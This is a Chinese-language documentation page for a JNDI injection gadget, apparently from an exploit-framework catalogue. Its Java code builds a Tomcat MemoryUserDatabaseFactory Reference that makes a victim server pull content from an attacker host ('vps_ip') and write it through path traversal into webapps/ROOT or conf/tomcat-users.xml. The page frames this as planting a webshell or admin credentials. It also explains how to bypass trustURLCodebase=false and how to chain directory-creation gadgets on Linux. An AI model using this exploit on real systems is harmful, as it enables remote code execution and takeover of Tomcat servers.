- 类别:jndi 别名:— 优先级:—
- 作者:—
- 依赖:
tomcat、tomcat-juli、tomcat-util、tomcat-util-scan
构造一个 JNDI Reference,把工厂设为 org.apache.catalina.users.MemoryUserDatabaseFactory、目标类设为 org.apache.catalina.UserDatabase,通过 readonly=false 与可控 pathname(一个远程 URL)让受害端的 Tomcat 从远程拉取内容并写入本地任意文件。典型用法是把远程 poc.jsp 写进 webapps/ROOT/(getshell),或覆盖 conf/tomcat-users.xml(写后台账号),从而实现写文件型 RCE。
- 入口
tags:Reference、END—— 本 gadget 直接产出一个可被 JNDI/LDAP/RMI 入口返回的Reference;END表示它是链尾(自身即最终 payload,无需下游)。 - 衔接
nextTags:无(END终止环)。 excludes:无。
@GadgetTags(tags={"Reference", "END"})
public class MemoryUserDatabaseFactoryWriteFile implements Gadget {
@Param(name="http url", description="... eg1: http://vps_ip:51399/../../webapps/ROOT/poc.jsp ...")
public String url = "http://vps_ip:51399/../../webapps/ROOT/poc.jsp";
Object getObject() {
Reference ref = new Reference("org.apache.catalina.UserDatabase",
"org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("readonly", "false"));
ref.add(new StringRefAddr("pathname", this.url));
return ref;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
}逐段解释:
new Reference("org.apache.catalina.UserDatabase", "org.apache.catalina.users.MemoryUserDatabaseFactory", null):目标类UserDatabase,工厂MemoryUserDatabaseFactory。受害端NamingManager.getObjectInstance调用该本地工厂,工厂会构造一个MemoryUserDatabase并按 RefAddr 配置其属性。StringRefAddr("readonly", "false"):把数据库设为可写。MemoryUserDatabase默认只读;置false后其内部会在save()时把用户数据「回写」到pathname指向的文件,这一步是写文件的开关。StringRefAddr("pathname", this.url):数据库文件路径。工厂用ConfigFileLoader打开pathname读取初始内容——这里填一个远程 URL(如http://vps:51399/../../webapps/ROOT/poc.jsp),Tomcat 先从远程 URL 读取内容,随后按解析出的相对路径把内容落到本地对应位置,达成「远程内容 → 本地任意文件」写入。路径里的../../用于从工作目录穿越到webapps/ROOT/或conf/。invoke不调用chain.doCreate:链尾 gadget,写入内容由远程 URL 托管,本 gadget 只承载「写到哪、从哪读」。
触发条件与坑点(来自 description):受害进程存在可控 JNDI lookup,classpath 具备 Tomcat(org.apache.catalina.* + tomcat-util 系)。Windows 下无需预先创建文件夹即可直接触发;Linux 下需要目标已存在对应的两层目录,因此常需先用其他姿势创建目录(如 [H2CreateDirRef] 或 VelocityCreateDirRef 分两步 create dir),再触发本 Reference 写入。因走本地 factory,不受 trustURLCodebase=false 限制。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
url |
http url | 远程内容源 URL,同时通过路径穿越决定落地位置。eg1 写 shell:http://vps_ip:51399/../../webapps/ROOT/poc.jsp;eg2 覆盖后台账号:http://vps_ip:51399/../../conf/tomcat-users.xml |
http://vps_ip:51399/../../webapps/ROOT/poc.jsp |
— |
- 依赖 Tomcat 全套 naming/util(
tomcat、tomcat-juli、tomcat-util、tomcat-util-scan)在目标 classpath。 - 本地 factory 路线,绕过
trustURLCodebase=false;无需远程 codebase 类加载。 - 平台差异:Windows 直接可写;Linux 需先创建两层目录(配合
H2CreateDirRef/VelocityCreateDirRef)。 - 写文件后 RCE 依赖能被解析执行的落地位置(如
webapps/ROOT/poc.jsp)或凭据覆盖(tomcat-users.xml+ 后台部署)。
自由构件,未直接出现在预设链(usedInChains 为空)。作为 JNDI 注入的写文件落地环节,常与「创建目录」类 gadget 组合使用。
- 配合(创建目录,供 Linux 下写入前置):
H2CreateDirRef、VelocityCreateDirRef。 - 同族(其他 JNDI Reference / 本地 factory 落地路线):LoadNativeLibRef、Mlet2Ref、JavaBeanObjectFactoryHexDS、LdapClassLoader、
BeanshellRef、TomcatElRef。